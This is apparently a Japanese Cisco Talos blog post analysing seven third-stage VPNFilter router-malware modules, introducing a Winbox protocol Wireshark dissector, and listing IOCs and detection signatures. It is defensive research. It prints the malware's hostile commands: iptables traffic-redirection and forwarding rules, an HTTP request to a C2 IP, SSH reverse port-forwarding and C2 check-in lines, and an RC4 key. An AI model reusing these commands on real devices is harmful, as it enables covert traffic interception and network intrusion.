概要
世界中で数十万台のネットワーク デバイスに感染した、マルチステージのモジュール式プラットフォーム
をご覧ください。である VPNFilter には、さらに多くの機能があることがわかりました。Cisco Talos は先頃、第 3 ステージの VPNFilter モジュールを 7 つ発見しました。これによって、感染したネットワーク デバイスを拠点としてエンドポイント デバイスをエクスプロイトするための拡張機能などを含め、さらにマルウェアに機能が加わることになります。これらの新機能には、コマンド & コントロール（C2）トラフィックとデータ漏洩トラフィックをマスクする複数の暗号化トンネリング機能やデータ フィルタリング機能も含まれています。VPNFilter による脅威は、Talos の活動や世界中のパートナーの協力によってほぼ無力化したと確信していますが、パッチが適用されていないデバイスでその脅威を検出するのはいまだに困難な可能性があります。
Talos では、数ヵ月間にわたって VPNFilter を調査してきました。初期の調査結果については、こちらをご覧ください。にまとめています。また、フレームワークで使用されている追加モジュールについては、こちらをご覧ください。で説明しています。継続調査の一環として、攻撃者が使用する可能性のあるエクスプロイト方法を探るために、MikroTik 社のネットワーキング デバイスで使用される主要プロトコルの 1 つを調べる手法を開発しました。
VPNFilter への感染に関するスレッドを追っていくと、MikroTik 社のネットワーク デバイスが重点的に攻撃の標的にされていたことが明らかになりました。特にウクライナで顕著でした。これらのデバイスが攻撃者の活動目標にとって重要であると思われたため、どのようにエクスプロイトされたかを把握しようとしました。調査の一環として、MikroTik 社の Winbox 管理ユーティリティで使用されるプロトコルの調査も行いました。このブログでは、このプロトコルを調査した理由と方法のほか、セキュリティ コミュニティが悪意の可能性のある活動に関してこのプロトコルを調査する際に役立つ、Talos が開発したデコーダ ツールについても説明します。
あらゆる個人および組織がこのフレームワークを追跡すべだきと痛感するほど、VPNFilter は非常に巧妙です。この種の脅威には、組織化された高度な防御でなければ対抗できません。また、VPNFilter の規模を考えると、今回の新しい発見を見過ごすわけにはいきません。
拡張された VPNFilter の機能
VPNFilter の脅威がきわめて強力であることはすでにわかっていましたが、新たに第 3 ステージ モジュールを発見したことで、その認識がさらに強まりました。第 3 ステージ モジュールでは、次の機能が追加されています。
- ネットワーク マップを作成し、VPNFilter に感染したデバイスに接続されているエンドポイント システムをエクスプロイトする機能。
- C2 およびデータ漏洩に使用される通信など、悪意のあるトラフィックの難読化や暗号化を行うためのさまざまな方法。
- VPNFilter に感染したデバイスを足掛かりにして、ネットワークの水平方向でアクセス可能な別の被害者を特定したり、攻撃の対象となるその他のネットワークで新たなエッジ デバイスを特定したりするために利用できるさまざまなツール。
- VPNFilter とは関係のない将来の攻撃において、過去に VPNFilter に感染したデバイスを起点として攻撃が発生したように見せかけることにより、攻撃トラフィックの真の発信元を隠すためのプロキシとして活用できる別のネットワークを構築する機能。
これらの追加モジュールに対してリバース エンジニアリングを実行したところ、マルウェアの存在とその機能を確認できました。以前はテレメトリ分析でしかこれらの機能の存在や特徴を分析して評価する方法はなく、この方法では、常に間違いが発生する可能性がありました。
たとえば、Talos はかつて、VPNFilter に感染したと思われるデバイスが、大規模な IP スペースをスキャンしているのを確認したことがありますが、当時は、その目的が、VPNFilter マルウェア関連の攻撃者が使用するエクスプロイト方法に対して脆弱な別のデバイスを特定することにあるのではないかと推定する程度でした。しかし今なら、この活動に使用される第 3 ステージ モジュールについて具体的に説明することができます。
調査を継続し、これらの新たな第 3 ステージ モジュールを調べたことによって、VPNFilter 関連の機能全体を詳細に理解することができました。
新たな第 3 ステージ モジュール
前述したように、Talos は、VPNFilter の既存の機能を大幅に拡張する、次の 7 つの第 3 ステージ モジュールを新たに特定しました。
これから各モジュールについて詳しく説明します。
「htpx」（エンドポイント エクスプロイト モジュール – 実行可能ファイルのインジェクション）
「htpx」は、VPNFilter の第 3 ステージ モジュールの 1 つです。このモジュールでは、Talos が以前解説したをご覧ください。「ssler」モジュールに類似したコードが使用されています。このモジュールは、バイナリ内の文字列に基づいて元のプロジェクトまでたどることのできるオープンソース コードに大きく依存しています。その良い例が、Netfilter の一部である「libiptc.cをご覧ください。」です。
「htpx」（左）と「ssler」（右）の文字列比較。
「htpx」モジュールの主な機能は、TCP ポート 80 宛てのネットワーク トラフィックを、ポート 8888 で実行されているローカル サーバに転送するように iptables ルールを設定することです。トラフィック管理用のカーネル モジュールが最初にロードされることでリダイレクションされます。これらのモジュール（Ip_tables.ko、Iptable_filter.ko、Iptable_nat.ko）は、insmod シェル コマンドでロードされます。
次に「htpx」モジュールが下記のコマンドを実行して、ひそかにトラフィックを転送します。
iptables -I INPUT -p tcp –dport 8888 -j ACCEPT
iptables -t nat -I PREROUTING -p tcp –dport 80 -j REDIRECT –to-port 8888
「htpx」モジュールは、delete コマンドと同様のコマンドを実行してルールを一旦削除した後に再度追加することで、ルールが存続し続けていることを定期的に確認します。/var/run/htpx.pid という名前の一時ファイルも作成されます。
その後、次のような HTTP 要求が生成されます。
GET %s HTTP/1.1\r\nHost: 103.6.146.194\r\nAccept: */*\r\nUser-Agent: curl53\r\n\r\n
Talos で「htpx」モジュールを分析した際には、C2 インフラストラクチャからの応答を抽出することができず、追加モジュールの動作は確認できていません。モジュールのバイナリの分析中に、htpx モジュールが HTTP 通信を調べ、Windows の実行可能ファイルの存在を確認していることを特定しました。確認された実行可能ファイルにはフラグが設定され、テーブルに追加されます。Talos では、攻撃者がこのモジュールを利用してバイナリ ペイロードをダウンロードし、Windows 実行可能ファイルが感染デバイスを通過する際に、その場でパッチを適用できるようにしているのではないかと推察しています。
「ndbr」（多機能 SSH ツール）
「ndbr」モジュールは、SSH 機能に加え、他の IP をポートスキャンする機能も備えたモジュールです。このモジュールは Dropbear SSH サーバとクライアントを使用しており、dbmultiをご覧ください。 ユーティリティ バージョン 2017.75 の変更バージョンとなっています。標準の Dropbear 機能から変更された点をいくつか特定しています。
第 1 の変更点は、dbmulti ユーティリティ自体の変更です。このユーティリティには通常、SSH クライアント/SSH サーバ機能、SCP を使用したデータ転送機能、キー生成/変換機能などがあります。どの機能が実行されるかは、プログラム名、またはプログラムに渡される最初のパラメータによって決まります。「ndbr」モジュールでは、キー生成/変換機能が、ネットワーク マップ作成（ポートスキャン）機能や「ndbr」という別の機能に置き換えられています。
元の「dbmulti」ユーティリティと同様、「ndbr」モジュールの機能も、プログラム名またはプログラムに渡される最初の引数によって決まります。「ndbr」モジュールが取り得る引数は、dropbear、dbclient、ssh、scp、ndbr、nmap です。それぞれの引数について以下で説明します。
DROPBEAR
dropbear r コマンドは、「ndbr」モジュールに対し、SSH サーバとして動作するように指示するコマンドです。元の dropbear コードでは、接続をリッスンするためにデフォルトの SSH ポート（TCP/22）が使用されます。しかし、「ndbr」モジュールのコードは、TCP/63914 のデフォルト ポートを使用するよう変更されています。元の dropbear コードに対するその他の変更によって、ホスト キーファイルの処理方法が変わっています。デフォルトのキーファイルのパスが /db_key に変更されていますが、「ndbr」モジュールではこのファイルはドロップされません。その代わり、buf_readfile dropbear 関数が変更され、filename パラメータが /db_key の場合、メモリから該当するキーがロードされるようになっています。
dropbear サーバは、パスワードベースの認証ではなく、適切な公開キーによって認証を行うよう変更されています。このキーは、「ndbr」実行可能ファイルにも組み込まれています。ただし、変更されたコードにバグがあり、接続処理で不正な公開キーを使用しようとします。その結果認証が失敗し、ndbr SSH サーバで無限ループが発生しますが、クライアントには、認証が失敗したことは示されません。現時点では、ndbr SSH サーバで認証が成功する正しいキーを特定できていません。「ndbr」モジュールに組み込まれているキー（/db_key および /cli_key）はどちらも正しくなく、他の VPNFilter 関連バイナリからも該当するキーは見つかりませんでした。
DBCLIENT（SSH）
dbclient または ssh パラメータが渡された場合、「ndbr」モジュールは、標準的な dropbear SSH コマンドライン インターフェイスのクライアントとして機能します。ただし、デフォルト オプションが変更されています。dropbear サーバのコマンドにデフォルト キーファイルがあるように、dbclient/ssh コマンドにはデフォルトの ID ファイル（/cli_key）があります。現時点では、dbclient（SSH クライアント）の接続先はわかっていません。
NMAP
nmap 引数が渡された場合、「ndbr」モジュールは、1 つの IP または複数の IP の範囲に対してポート スキャンを実行します。
その使用方法を下記に示します。
Usage %s -ip* <ip-addr: 192.168.0.1/ip-range 192.168.0.0./24> -p* <port: 80/port-range: 25-125> -noping <default yes> -tcp <default syn> -s <source ip> -h/–help (print this help)
NDBR
ndbr 引数が渡された場合、「ndbr」モジュールは、渡されたその他のパラメータに基づいて、3 つのうちのいずれかの動作を行います。前述のように、SSH コマンドは、デフォルト キー（/db_key および /cli_key）を使用します。
3 つ目のパラメータは、「start」という単語で始まっている必要があります。それ以外の場合、「ndbr」モジュールは自らアンインストールしてしまいます。
次のパラメータで ndbr モジュールが実行されると、
$ ./ndbr_<arch> ndbr <param1> <param2> “start proxy <host> <port>”
次の dropbear SSH コマンドが実行されます。
ssh -y -p <port> prx@<host> srv_ping j(<B64 victim host name>)_<victim MAC address> <param2>
その結果、dropbear SSH クライアントがリモート ホストに接続し、「srv_ping」コマンドを実行します。これはおそらく、被害者を C2 サーバに登録するために使用されていると考えられます。
次のパラメータで ndbr モジュールが実行されると、
`$ ./ndbr_<arch> ndbr <param1> <param2> “start -l <port>”`
（前述のとおり）dropbear SSH サーバが始動され、指定されたポートでリスニングが始まります。
`sshd -p <port>`
次のパラメータで ndbr モジュールが実行されると、
`$ ./ndbr_<arch> ndbr <param1> <param2> “start <user> <host> <port>”`
次の dropbear コマンドが実行され、リモート ポート フォワーディングが設定されます（コマンドのオプションの説明については上記を参照）。
`ssh -N -T -y -p <port> -R :127.0.0.1:63914 <user>@<host>`
「nm」（ネットワーク マッパー）
「nm」モジュールは、ローカル サブネットのスキャンおよびマップ作成に使用されます。すべてのインターフェイスで繰り返し実行されます。最初は、インターフェイスに割り当てられている各 IP に関連するサブネット上のすべてのホストに対して ARP スキャンが実行されます。nm は、ARP 応答を受信すると、検出したホストに ICMP エコー要求を送信します。ホストから ICMP エコー応答を受信すると、ポート スキャンを実行してマップ作成を続け、ホスト上の次のリモート TCP ポートへの接続を試みます。9、21、22、23、25、37、42、43、53、69、70、79、80、88、103、110、115、118、123、137、138、139、143、150、156、161、190、197、389、443、445、515、546、547、569、3306、8080、8291。
次に、MikroTik Network Discovery Protocol（MNDP）を使用して、ローカル ネットワーク上に他の MikroTik 社のデバイスがないか探します。MikroTik 社のデバイスが MNDP ping に応答すると、nm は、検出したデバイスから、MAC アドレス、システム ID、バージョン番号、プラットフォーム タイプ、稼働時間（秒単位）、RouterOS ソフトウェア ID、RouterBoard モデル、インターフェイス名を抽出します。
nm モジュールは、/proc/net/arp を調べ、感染デバイスの ARP テーブルから、隣接するデバイスの IP アドレスと MAC アドレスを取得します。次に、/proc/net/wireless の内容をすべて収集します。
モジュールは、最初に 8.8.8.8:53 に対する TCP 接続を確立してトレースルートを実行して接続できることを確認します（データは送信されません）。次に、TTL を増やしながら、この IP に ICMP エコー要求を繰り返し送信します。
収集されたネットワーク情報はすべて、/var/run/repsc_<time stamp>.bin という名前の一時ファイルに保存されます。.bin ファイルの例を次に示します。
モジュール内には、SSDP、CDP、および LLDP 機能を担うコードも存在していましたが、分析したサンプルでは一度も呼び出されたことがないため常に空のままです。
nm モジュールでは、3 つのコマンド ライン引数が正しく設定される必要がありますが、使用されるのは最初のパラメータのみです。 その他のいくつかのモジュールと同様、最初のパラメータはフォルダを示し、そこにデータが恒久的に保存されます。nm モジュールによって実行される最後のタスクは、スキャン結果を含んだ一時 .bin ファイルを、最初のコマンド ライン引数で指定されたフォルダに移動することです。表面的には、後で VPNFilter のメイン プロセスによりデータを抽出するためだと思われます。
「netfilter」（サービス妨害ユーティリティ）
netfilter では、コマンド ラインで次の 3 つの引数が与えられることが前提になっています。最初の 2 つの引数は使用されず、3 つ目の引数は、”<block/unblock> <# of minutes>” のように、引用符で囲まれた文字列の形式をとります。「# of minutes」は、netfilter が終了するまでの実行時間を表します。3 つ目の引数の最初の部分に「block」が指定されている場合、netfilter は、iptables に次のルールを追加します。
Chain FORWARD (policy ACCEPT)
target prot opt source destination
DROP tcp — anywhere anywhere tcpflags: PSH/PSH
netfilter は、ルールを追加してから 30 秒間待機した後、このルールを削除します。「# of minutes」で指定された時間にまだ達していない場合には、このプロセスが再度開始されます。この追加/削除のループを繰り返すことで、万一ルールがいったんデバイスから削除されても確実に保持されます。
所定の時間が経過すると、プログラムは終了します。iptables のルールを削除する netfilter プログラムの冒頭には、シグナル ハンドラもインストールされており、プログラムが SIGINT または SIGTERM を受信すると終了します。これにより、誰かに netfilter プログラムが手動で終了させられた場合でも、デバイスは通常どおりの動作を行います。
最後に、「block」引数を指定することで追加した iptables のルールを、「unblock」引数を使用して削除することができます。
実行される可能性のあるコード パスはこれ以外には存在しませんが、このモジュールにはさらに何か別の機能がある（または、あった）ことを示す兆候があります。
第 1 の兆候は、Talos が分析したさまざまな netfilter モジュールのサンプル（MIPS、PPC、Tile-GX）すべてに含まれる 168 CIDR IP アドレスおよびアドレス範囲のリストが、下記の企業/サービスに結び付くものと同一のものであるということです。
31.13.64.51 – WhatsApp
169.44.36.0/25 – WhatsApp
203.205.167.0/24 – Tencent（QQ Chat の所有者）
52.0.0.0/16 – Amazon.com, Inc（この範囲内の複数の IP が、次の暗号化アプリケーションで使用されている：Wikr、Signal、Dust、Confide）
このことは、netfilter モジュールが、暗号化された特定のフォームのアプリケーションに対するアクセスを拒否するように設計されている可能性があることを示しています。おそらく、攻撃者にとって都合のよいサービスと通信させるように被害者を誘導するためだと考えられます。興味深いことに、非常に人気のある暗号化されたチャット アプリケーションである Telegram は、リストに含まれていません。
しかし、これらの文字列を参照している箇所をコード内で見つけることはできませんでした。Talos がサンプルを入手したすべてのバージョンの netfilter に、この同じ IP 範囲のリストが含まれていますが、それが使用された形跡は見当たりません。入手したサンプルが不完全なものだった可能性があります。
netfilter モジュールによって iptables に追加されたルールでは、PUSH フラグが設定されている TCP パケットがドロップされます。その目的が、感染したデバイスを利用してサービス妨害攻撃を起動できるようにすることにあるとしたら、このルールは、PUSH フラグが設定されている TCP パケットだけでなく、すべてのパケットをブロックする iptables ルールを使用するはずです。通常このようなルールは、デバイスにアクセスできる攻撃者が転送トラフィックを傍受して操作し、その後それを手動で転送できるようにする、中間者攻撃の一部として利用されるものです。このことから、CIDR 範囲のリストは、傍受対象の IP のリストであるという可能性も考えられますが、分析したサンプルの中にこの種の機能が存在していることを示す兆候は確認できませんでした。
結論として、IP は使用されていないと判断しました。使用されない理由は、古いバージョンの netfilter モジュールでは機能がまだ実装されていなかったためか、まだ確認できていないマルウェア作成者によって開発され、静的にリンクされた iptables ライブラリに変更が加えられている可能性があるためではないかと考えています。VPNFilter の作成者は以前オープンソース コードを変更しているので（例：ndbr モジュール）、netfilter モジュールでリンクされている libiptc コードが変更されていても不思議ではありません。
「portforwarding」（攻撃者が指定したインフラストラクチャにネットワーク トラフィックを転送できるようにする）
portforwarding モジュールは、次のコマンド ライン引数を使用して実行されるように設計されています。
./portforwarding <unused> <unused> “start <IP1> <PORT1> <IP2> <PORT2>”
これらの引数が与えられると、portforwarding モジュールは、次の iptables ルールをインストールして、特定のポートと IP の組み合わせから、別のポートと IP にトラフィックを転送します。
iptables -t nat -I PREROUTING 1 -p tcp -m tcp -d <IP1> –dport <PORT1> -j DNAT –to-destination <IP2>:<PORT2>
iptables -t nat -I POSTROUTING 1 -p tcp -m tcp -d <IP2> –dport <PORT2> -j SNAT –to-source <device IP>
最初のルールにより、感染したデバイスを通過して IP1:PORT1 に送信されるはずのトラフィックが、IP2:PORT2 にリダイレクトされます。さらに 2 番目のルールによって、感染したデバイスに応答が返されるように、ルートが変更されたトラフィックの発信元アドレスが、感染デバイスのアドレスに変更されます。
portforwarding モジュールは、iptables ルールをインストールする前に、準備として、まず PORT2 で IP2 へのソケット接続を確立することにより、IP2 が利用可能かどうかチェックします。ただし、ソケットがクローズされる前にデータが送信されることはありません。
iptables を操作する他のモジュールと同様、portforwarding モジュールも、ルールを追加した後一定期間待機し、ルールをいったん削除してから再追加するというループを繰り返すことで、ルールが万一手動で削除された場合でもデバイス上に残り続けるようにしています。
「socks5proxy」（感染デバイス上に SOCKS5 プロキシを確立できるようにする）
socks5proxy モジュールは、オープンソース プロジェクト shadowsocksをご覧ください。 をベースにしたと思われる、SOCKS5 プロキシ サーバです。 このサーバは認証を使用せず、TCP ポート 5380 でリッスンするようハードコードされています。socks5proxy は、サーバが始動する前に子プロセスを生成し、モジュールに指定された引数で示される C2 サーバに接続します。数秒以内にサーバが応答しない場合は、子プロセスは親プロセス（サーバ）をキルし、終了します。C2 サーバは、コマンドに応答し、サーバを正常に実行したり、終了させたりすることができます。
このモジュールには、使用方法を示す次のような文字列が含まれていますが、その文字列は socks5proxy モジュールの引数とは一致しておらず、コマンド ライン引数で変更することもできません。
ssserver
–username <username> username for auth
–password <password> password for auth
-p, –port <port> server port, default to 1080
-d run in daemon
–loglevel <level> log levels: fatal, error, warning, info, debug, trace
-h, –help help
socks5proxy モジュールの実際のコマンド ライン引数は次のとおりです。
./socks5proxy <unused> <unused> “start <C&C IP> <C&C port>”
socks5proxy モジュールは、引数の数が 2 つ以上であることを検証しますが、引数が 2 つ与えられると、プロセスが SIGSEV シグナルを受信してクラッシュしてしまいます。このことから、このマルウェア ツールチェーンの開発段階で品質が十分管理されていなかったのではないかと思われます。
「tcpvpn」（感染デバイス上にリバース TCP VPN を確立できるようにする）
tcpvpn モジュールは、リモート攻撃者が感染したデバイスの背後にある内部ネットワークにアクセスできるように設計された、リバース TCP VPN です。リモート サーバにビーコンを送る仕組みになっており、TunTap デバイスのように、TCP 接続でパケットを転送するように設定されていると思われます。この接続はネットワーク デバイスが起点になっているように見えるため、モジュールは簡単にファイアウォールまたは NAT の問題をバイパスできてしまいます。このモジュールは、侵入テスト ソフトウェアである Cobalt Strike の VPN Pivotingをご覧ください。 とコンセプトが似ています。
この接続を介して送信されるすべてのデータは、ハードコードされた次のバイトデータを基に生成されたキーを使用して RC4 で暗号化されます。
"213B482A724B7C5F4D77532B45212D215E79433D794A54682E6B653A56796E457A2D7E3B3A2D513B6B515E775E2D7E533B51455A68365E6A67665F34527A7347"
このバイトデータの前後には、現在の接続のポート番号が付きます（例：「58586!;H*rK|_MwS+E!-!^yC=yJTh.ke:VynEz-~;:-Q;kQ^w^-~S;QEZh6^jgf_4RzsG80」）。
tcpvpn モジュールのコマンド ライン シンタックスは次のとおりです。
./tcpvpn <unused> <unused> “start <C&C IP> <C&C port>”
MikroTik 社の調査
Winbox プロトコル解析ツールの導入
VPNFilter を調査する中で、いくつかのデバイスの感染過程を究明する必要が生じました。MikroTik 社の一連のデバイスを調べていたとき、オープン ポート（TCP 8291）が存在していること、および、そのポートが設定ツール「Winbox」の通信に利用されていることに気付きました。
これらのデバイスから送信されたトラフィックは大きな blob 型のバイナリ データであったため、このプロトコルを使用してアクセスした経路を究明するには、プロトコル解析ツールが必要でした。このような解析ツールは、私たちの知る限り一般には存在していませんでした。Talos は、プロトコルを詳細に理解するため、独自のプロトコル解析ツールを開発し、Wiresharkをご覧ください。 などのパケット分析ツールと合わせて使用することにしました。これがあれば、潜在的な攻撃ベクトルを発見して、将来の感染を防止する効果的なルールを設計することができます。
攻撃ベクトルの例としては、CVE-2018-14847をご覧ください。 があります。攻撃者がこの脆弱性をエクスプロイトすれば、ディレクトリ トラバーサルを実行して、未認証のクレデンシャルを復元できます。この脆弱性に関するカバレッジ（Snort SID：47684をご覧ください。）を書いたとき、この解析ツールがきわめて有益であることがわかりました。この脆弱性については更新プログラムをご覧ください。がリリースされていますが、セキュリティ プロフェッショナルがこのトラフィックを監視して、悪意の可能性のあるその他のトラフィックを識別できるようにすることが重要だと考えています。
プライバシーに関しては、「セキュア モード」を使用して通信を暗号化するか、暗号化されたチャネルのみで通信を行う最新の Winbox クライアントをダウンロードすることで確保できます。このツールでは、暗号化された通信は復号されません。Talos でテストした最新の MikroTik CCR ファームウェア バージョン（6.43.2）では、この新しい Winbox クライアントを使用することが必須になっていますが、それはクライアント側のみに限られます。つまり、カスタムメイドのクライアントを使用すれば、安全でないチャネル経由での通信が依然として可能なのです。したがって攻撃者は、前述のようなセキュアな通信を再実装しなくてもエクスプロイトを配信できるため、この Wireshark 解析ツールは引き続き有用であると考えています。
「Winbox プロトコル」とは
「Winbox」という名称は、Web GUI の代替として MikroTik 社が提供している Winbox クライアントに由来しています。
公式ドキュメントをご覧ください。によると、Winbox は、高速かつ簡単な GUI を使用して MikroTik RouterOS を管理できる、シンプルなユーティリティです。Win32 ネイティブ バイナリですが、互換性を確保するためのレイヤとしてオープンソースの Wine を使用すれば、Linux や MacOS（OSX）でも動作可能です。Winbox インターフェイスの機能はすべて、コンソールの機能をできるだけ再現したものになっています。そのため、マニュアル内に Winbox セクションは設けられていません。インターフェイスの MAC アドレス変更など、一部の高度で重要なシステム設定は、Winbox からは実施できません。
私たちの知る限り、「Winbox プロトコル」は公式な用語ではありません。クライアントの名前にちなんで Talos で独自に設定した名称にすぎません。
解析ツールの使用
インストールはシンプルで、LUA ベースであるため再コンパイルの必要はありません。Winbox_Dissector.lua ファイルを /$HOME/.wireshark/plugins フォルダにドロップするだけです。解析ツールをインストールすると、TCP ポート 8291 との間で送受信されるすべての TCP トラフィックが、デフォルトで Winbox トラフィックとして適切に復号されます。
解析が目的の場合、クライアント/サーバ間で送信されるメッセージの形態は 1 つであることが理想なのですが、そうとは限りません。実際の通信を確認したところ、Winbox メッセージはさまざまな形態で送信されることがわかっています。
次のような特性を持つ Winbox 通信をキャプチャした例を下記に示します。
- 同じパケットで複数のメッセージが送信される。
- 解析前に削除する必要のある 2 バイトの「チャンク」が 1 つ以上メッセージ内に含まれる。
- 単一パケットとしてはメッセージが長すぎる：TCP リアセンブルが実施される。
- メッセージ内に「ネストされた」別のメッセージが含まれる。
解析ツールをインストールする前はキャプチャがどのように表示されるかを下記に示します。
Winbox プロトコル解析ツールをインストールすると、Wireshark で通信が正しく解析されます。
解析ツールの入手方法
セキュリティ コミュニティにおいてこれらの通信を分析し、Winbox プロトコルを利用しようとしている脅威を監視できるようにするために、Cisco Talos は、この解析ツールを一般で利用できるように公開しています。解析ツールの詳細情報を取得したり、入手したりする場合は、GitHub リポジトリ（こちらをご覧ください。）を参照してください。
まとめ
VPNFilter 内で以前発見した機能と今回の新しい調査結果から、VPNFilter によって攻撃者が得られる機能は、感染したネットワークおよびストレージ デバイスを活用して標的のネットワーク環境内のシステムにさらに深く侵入し、攻撃するために必要なすべての機能を網羅していることが確認できました。
さらに、VPNFilter を利用すれば、ゲートウェイやルーティング デバイスなどの影響を受けやすいシステムにアクセスし、ネットワーク マップを作成してエンドポイントをエクスプロイトしたり、ネットワーク通信を監視してトラフィックを操作したりするといった重大な脅威を実行することも可能です。VPNFilter には、もう 1 つ別の危険な機能があります。それは、感染デバイスをプロキシとして利用することで、過去に VPNFilter に感染したネットワークを起点として攻撃が発生しているように見せかけ、関係のない攻撃を将来実行する際に、送信元を分からないようにするという機能です。このフレームワークの巧妙から、それを利用する攻撃者の能力が高いこともわかります。組織が、そのような VPNFilter などの脅威に対抗するためには、さらに強固な防御アーキテクチャを導入することが必要です。
今回 VPNFilter について新たな情報が得られたことにより、このマルウェアに関して残っていた疑問のほとんどが解決されました。しかし、この脅威に関しては、今日まで依然として未解決の大問題があります。
攻撃者は最初どのようにしてデバイスにアクセスし、感染したのか。
攻撃者は、VPNFilter の影響を受ける型式/モデルに基づいて、広く公開されている脆弱性を利用したのだろうと推測していますが、確たる証拠はまだ得られていません。
攻撃者はアクセス経路を再構築しようとしているのか。
Talos のテレメトリとパートナーからの情報を基にすると、Talos や世界中の連携パートナー（法執行機関、諜報機関、Cyber Threat Allianceをご覧ください。）が今年 VPNFilter に対応して以来、この脅威は全面的に無力化されているように思われます。このマルウェアの C2 チャネルのほとんどが沈静化しています。デバイスに埋め込まれたステージ 2 のモジュールは永続的なものではなく、おそらくほとんどが感染デバイスから消去されたと考えられます。オープンなリスナーを備えた永続的なステージ 1 モジュールがまだ残っているデバイスが存在している可能性がありますが、攻撃者が再接続を試みている兆候はありません。
これは、SOHO（スモール オフィス/ホーム オフィス）ネットワーク デバイス スペースにつながる広大な拠点を攻撃者が放棄し、その代わりに、初めから再度エクスプロイトして新しい未知のマルウェアをドロップすることで、アクセス経路を再構築しようとしているということでしょうか。それとも、世界中の SOHO に幅広くアクセスすることはあきらめ、特定の主要ターゲットのみを狙う、ピンポイントのアプローチに変えようとしているのでしょうか。
いずれにせよ、VPNFilter の背後にいる攻撃者は非常に能力が高く、ミッションの優先度に従って、目標達成に向けた活動を続けているということは確かです。攻撃者たちは形態を変えながら、ミッションの目的を達成するために必要なツールやフレームワークを開発して使用する活動を続けています。
IOC（侵入の痕跡）
a43a4a218cf5755ce7a7744702bb45a34321339ab673863bf6f00ac193cf55fc
aac52856690468687bbe9e357d02835e9f5226a85eacc19c34ff681c50a6f0d8
13165d9673c240bf43630cddccdc4ab8b5672085520ee12f7596557be02d3605
b81f857cd8efab6e6e5368b1c00d93505808b0db4b773bee1843a3bc948d3f4f
809f93cbcfe5e45fae5d69ca7e64209c02647660d1a79b52ec6d05071b21f61a
7ff2e167370e3458522eaa7b0fb81fe21cd7b9dec1c74e7fb668e92e261086e0
81368d8f30a8b2247d5b1f8974328e9bd491b574285c2f132108a542ea7d38c7
b301d6f2ba8e532b6e219f3d9608a56d643b8f289cfe96d61ab898b4eab0e3f5
99e1db762ff5645050cea4a95dc03eac0db2ceb3e77d8f17b57cd6e294404cc7
76bf646fce8ff9be94d48aad521a483ee49e1cb53cfd5021bb8b933d2c4a7f0f
e009b567516b20ef876da6ef4158fad40275a960c1efd24c804883ae273566b0
7c06b032242abefe2442a8d716dddb216ec44ed2d6ce1a60e97d30dbba1fb643
f8080b9bfc1bd829dce94697998a6c98e4eb6c9848b02ec10555279221dd910a
4e350d11b606a7e0f5e88270938f938b6d2f0cc8d62a1fdd709f4a3f1fa2c828
f1cf895d29970c5229b6a640c253b9f306185d4e99f4eac83b7ba1a325ef9fb8
8395e650e94b155bbf4309f777b70fa8fdc44649f3ab335c1dfdfeb0cdee44ff
a249a69e692fff9992136914737621f117a7d8d4add6bac5443c002c379fe072
5e75b8b5ebbef78f35b00702ced557cf0f30f68ee08b399fc26a3e3367bb177b
fe022403a9d4c899d8d0cb7082679ba608b69091a016e08ad9e750186b1943dd
116d584de3673994e716e86fbb3945e0c6102bfbd30c48b13872a808091e6bc9
4263c93ce53d7f88c62fecb6a948d70e51c19e1049e07df2c70a467bcefee2c8
5d70e7dd5872cc0d7d0f7015c11400e891c939549c01922bff2bbe3b7d5d1ce3
5c52f115ab8a830d402fac8627d0bfdcbbfd4dcf0e6ad8154d49bb85387893aa
e75e224c909c9ead4cb50cd772f606407b09b146051bfb28015fcbe27b4a5e8d
999f14044f41adfd9fb6c97c04d7d2fd9af01724b3ab69739acf615654abfa43
b118b23a192f372616efe8c2b12977d379ac76df22493c14361587bd1cc8a804
7ba0dc46510492a7f6c9b2bcc155333898d677cd8a88fe0e1ac1ad3852f1c170
83b3dbf7f6bc5f98151b26781fa892fc1a014c62af18c95ae537848204f413b8
fce03f57b3fd3842efac3ce676687794c4decc29b612068e578134f3c4c4296a
1f26b69a353198bb047dde86d48198be8271e07f8c9d647d2f562207e1330a37
1e824654afba03678f8177e065c487a07192069711eeb4abe397010771b463b5
84227f906c7f49071d6598b9035fc785d2b144a6349d0cf7c29177c00db2dc2f
6eb09f805a68b29c9516d649019bea0bb4796e504ca379783455508a08f61087
aa5baa135b2ada5560833747260545d6a5b49558f6244c0f19443dc87c00294d
4c5e21125738c330af1bfe5cabc5f18fa14bbef53805dda2c3c31974555f7ec5
0f3746f273281472e7181f1dd1237f0c9fc26f576a883f42413c759f381006c4
acfc72b8d6611dc9cd6a3f1a4484aa0adfb404ad5faaa8b8db5747b0ff05bc22
fe9c17ac036622b2d73466f62b5d095edda2d3b60fa546a48d0bb18f8b11059f
830091904dab92467956b91555bc88fa7e6bbde514b8a90bb078c8a3bb2f39a9
5a28ad479d55275452e892b799c32803f81307079777bb1a5c4d24477206d16b
8440128350e98375b7eff67a147dfe4e85067d67f2ad20d9485f3de246505a5f
275c4e86218915c337d7e37e7caba36cb830512b17353bf9716c4ba6dceb33ed
b700207c903e8da41f33f11b69f703324ec79eb56c98b22efaeac0a10447ec44
2aa149a88539e8dd065c8885053a30d269be63d41a5db3f66c1982202761aa75
1a11240d0af108720de1a8a72ceadef102889f4d5679c1a187559d8d98143b0b
3b6be595b4183b473964345090077b1df29b0cace0077047b46174cc09c690e1
620c51f83457d0e8cb985f1aff07c6d4a33da7566297d41af681ae3e5fbd2f80
4c8da690501c0073a3c262a3079d8efac3fea9e2db9c55f3c512589e9364e85c
d92282acf3fea66b05a75aba695e98a5ea1cc1151f9e5370f712b69a816bf475
30382c1e7566d59723ff7ef785a1395711be64873dbca6d86691b1f5d86ba29f
カバレッジ
VPNFilter で使用される追加モジュールを検出するために、次のような新しいカバレッジが開発されました。
ndbr に関する新しい Snort：
sid:1:47377:1
新規 Clam AV：
Unix.Trojan.Vpnfilter_htpx-6596262-0
Unix.Trojan.Vpnfilter_ndbr-6598711-0
Unix.Trojan.Vpnfilter_netfilter-6599563-0
Unix.Trojan.Vpnfilter_nm-6598714-0
Unix.Trojan.Vpnfilter_portforwarding-6599587-0
Unix.Trojan.Vpnfilter_socks5proxy-6599614-0
Unix.Trojan.Vpnfilter_tcpvpn-6606298-0
更新版 Clam AV：
VPNFilter で使用されるステージ 1 およびステージ 2 のモジュールをさらに検出できるように、次の ClamAV シグネチャが更新されました。
Unix.Trojan.Vpnfilter-6425812-1
Unix.Trojan.Vpnfilter-6550592-1
本稿は 2018年9月26日に Talos Group
Authors